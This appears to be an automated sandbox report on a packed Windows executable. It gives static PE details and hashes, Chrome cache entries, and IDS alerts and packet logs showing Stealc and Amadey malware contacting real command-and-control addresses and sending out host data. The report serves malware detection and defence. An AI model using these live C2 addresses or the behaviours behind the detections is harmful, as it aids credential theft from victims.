Preview:	)]}'.["",["google pixel tablet","ct student loan reimbursement program","school closings ky today","bryce underwood michigan football","google chrome browser doj","college girls season 3","elder scrolls 6 official reveal","reddit outages"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.43516319119653
Encrypted:	false
SSDEEP:	3072:fpkXyPqO7UX1Hme9kZbs4Voc5aSnXqwQ2i6o:fiyWFHrp4Voc5aSnawQ8o
MD5:	8BF839F8830F7349EEEBB5E5F7AE9F7A
SHA1:	E181903D602FD9684A513FC6C0F6FE8398004BD3
SHA-256:	BDCC5CB838C274611E55AAC6900ACA309EE14794B854C206DF9D3D2AE0E756E7
SHA-512:	A58832763A8FF9D23E9169CC19823C0EC608FD1942D6E1DAFF6F3B1708CE164D4A21537DA0B44D3A188C41214320D04D0A6D686AD0D5E2F0E2E7A46E8EED524B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945080188692989
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'783'808 bytes
MD5:	c80d723528ed0121eef557cc31bd4c87
SHA1:	150ec423edbfb73989a525fc3b553d06f411ece7
SHA256:	fa8380534c7876773e1315360225f92d30fc4ff6c4cdf70bebaf16e5f450d6f5
SHA512:	3ae11b656d242e891881b5833781a1431d0dde16de66a21b775613a7d02e098a68ad41301fa85f5cf3bd0bb7561c1ab784fd0d3c4940a45d66aa67f10b475da8
SSDEEP:	49152:FeFnYVk0QSUFysYk0uyMIDv9fPFNC0c2c316Ph3qR:FAYVk0QSUFysb2MIRC0dh3qR
TLSH:	F18533EB1EFE06FFC94C0032156DC75BBEAC98CA424A6562020A446F8B32745FC55DAE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa85000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDF30B0E4BAh
movhps xmm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	e7525ba1e7e3a7512c01ac7b5fb21752	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	3b1639a3359a6205551077fdab2b7810	False	0.794921875	data	6.045777627368973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29e000	0x200	8273125b8c567c20667f96e9616ec748	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iwfkwehn	0x4ea000	0x19a000	0x199a00	47c58241a3692dc216e062a6092ac13a	False	0.9947586874427831	data	7.954339174920036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sayxaavx	0x684000	0x1000	0x400	3ca6ba31dc6dc245f0ee3cd0ce29be23	False	0.8046875	data	6.223437804682872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x685000	0x3000	0x2200	b323f4c1263e70d3a4d1639a2d26b2a3	False	0.056870404411764705	DOS executable (COM)	0.6866605078771507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68367c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T17:08:29.345137+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:29.858680+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:29.984731+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.10	49700	TCP
2024-11-22T17:08:30.313466+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:30.435370+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.10	49700	TCP
2024-11-22T17:08:31.766464+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:33.410376+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49700	185.215.113.206	80	TCP
2024-11-22T17:08:55.712633+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:08:57.828148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:08:59.165857+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:00.285973+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:03.911959+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:05.029275+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49747	185.215.113.206	80	TCP
2024-11-22T17:09:11.501120+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49828	185.215.113.16	80	TCP
2024-11-22T17:10:06.365903+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.10	49900	185.215.113.43	80	TCP
2024-11-22T17:10:10.972993+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49912	31.41.244.11	80	TCP
2024-11-22T17:10:10.972993+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	49912	31.41.244.11	80	TCP
2024-11-22T17:10:24.903483+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.10	49907	TCP
2024-11-22T17:10:26.301929+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49945	185.215.113.43	80	TCP
2024-11-22T17:10:28.057685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49951	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 17:08:16.832557917 CET	49674	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:16.832570076 CET	49675	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:24.160693884 CET	49677	443	192.168.2.10	20.42.65.85
Nov 22, 2024 17:08:26.441937923 CET	49674	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:26.441953897 CET	49675	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:27.343636990 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:27.463510036 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:27.463665962 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:27.463886023 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:27.583420992 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:28.856605053 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:28.856746912 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:28.884983063 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.004563093 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:29.345062971 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:29.345136881 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.410079002 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.530145884 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:29.858443975 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:29.858513117 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:29.858680010 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.858916998 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.860152006 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:29.984730959 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313323975 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313355923 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313366890 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313401937 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313414097 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313426018 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313438892 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.313466072 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.313513994 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.313513994 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.315642118 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.435369968 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.767287016 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.767420053 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.788264036 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.788333893 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:30.907773018 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.907871962 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.907912016 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.907988071 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.907999039 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.908055067 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.908065081 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:30.908076048 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:31.766393900 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:31.766463995 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:32.770808935 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.082648993 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.085644007 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.202905893 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.410247087 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.410300970 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.410376072 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.412650108 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.412748098 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.412803888 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.420938015 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.421109915 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.421163082 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.429398060 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.429562092 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.429644108 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.437841892 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.437930107 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.438021898 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.446172953 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.446353912 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.446454048 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.534833908 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.534861088 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.534981012 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.537378073 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.537455082 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.537549019 CET	49700	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:33.545703888 CET	80	49700	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:33.545804024 CET	80	49700	185.215.113.206	192.168.2.10
